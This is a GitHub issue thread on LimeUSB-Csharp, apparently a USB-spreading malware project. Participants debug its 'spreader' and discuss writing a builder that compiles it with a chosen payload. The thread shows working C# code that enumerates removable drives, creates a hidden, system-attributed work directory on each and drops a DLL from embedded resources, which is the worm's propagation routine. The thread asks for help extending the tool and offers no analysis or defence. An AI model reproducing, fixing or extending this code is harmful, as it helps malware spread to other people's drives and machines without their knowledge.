NYAN-x-CAT/LimeUSB-Csharp

IconLib.dll in runfolder needed ?

H4xl0r opened this issue · 3 comments

Hey there,

first of all thanks for all the stuff you bring to the community.

I have a Question about the nice spreader
IconLib.dll needs to be in the runfolder of the spreader to be able to run right ?
Because for me it is not working without the dll in runfolder.

You are using the following code to copy that dll to the folders


if (!Directory.Exists(USB.RootDirectory.ToString() + Settings.WorkDirectory))
                        {
                            Directory.CreateDirectory(USB.RootDirectory.ToString() + Settings.WorkDirectory);
                            if (!File.Exists(USB.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + "IconLib.dll"))
                                File.WriteAllBytes(USB.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + "IconLib.dll", Resources.IconLib);
                            File.SetAttributes(USB.RootDirectory.ToString() + Settings.WorkDirectory, FileAttributes.System | FileAttributes.Hidden);
                        }

I think there is something going wrong there.

**Best would be to drop that dll by need , it's already in the resources.
not to require it in runfolder first.

The solution i am working with is to change that code
eg : First drop the dll from resource and then proceed ...

File.WriteAllBytes("IconLib.dll", Properties.Resources.IconLib);
            foreach (DriveInfo USB in DriveInfo.GetDrives())
            {
                try
                {
                    if (USB.DriveType == DriveType.Removable && USB.IsReady)
                    {
                        if (!Directory.Exists(USB.RootDirectory.ToString() + Settings.WorkDirectory))
                        {
                            Directory.CreateDirectory(USB.RootDirectory.ToString() + Settings.WorkDirectory);
                            if (!File.Exists(USB.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + "IconLib.dll"))
                                File.WriteAllBytes(USB.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + "IconLib.dll", bytes: Resources.IconLib);
                            File.SetAttributes(USB.RootDirectory.ToString() + Settings.WorkDirectory, FileAttributes.System | FileAttributes.Hidden);
                        }

Then it works ,even when the dll is missing in that folder (runfolder).

But i think there is a more nicer way ? would be nice to know ... :-)
using ur code and its working like a charm ... nice work
hope we get it to a better version ?

I think the problem is inside here :
File.WriteAllBytes(USB.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + "IconLib.dll", Resources.IconLib);

Strange behavior ..

the normal command
File.WriteAllBytes("IconLib.dll", Properties.Resources.IconLib);

is working like it should , but the other code is not working without having the ddl in runfolder .

Thanks for your excellent feedback. You are right.
Now I updated the project, no need to drop anymore.

the fix is a good idea ! nice ,

but if you would try to make a builder .
the compiler options would be not so easy , or ?

I mean writing an exe with form asking for settings (payload etc) and then compile the spreader with the settings.

if you would know the parameters for the compiler options it would be nice.

Having a general problem with some of these compiler settings.
I am also working on a project and i would like to include your function.

the problem is my builder works with the embedded ddls like (IconLib.dll) but the compiled resources are not accessible later on, i don't know why.
(IconLib.dll is also needed as resource to drop it later on)(old code).

even when added via

cp.EmbeddedResources.Add("IconLib.dll")

the code is not able to call that IconLib.dll via Setting.Resources.IconLib later ??
Am i calling wrong ?

but adding ddls via

cp.ReferencedAssemblies.Add("IconLib.dll");

is working.

so the builder is able to incule that IconLib.dll into the spreader build , via that ReferencedAssemblies.
and the spreader is able to use it ,
but resources added via EmbeddedResources are not accessible via Setting.Resources.IconLib

maybe you could help :_)? would be nice .

I know its more compiler specific thematic but maybe you know how to fix that.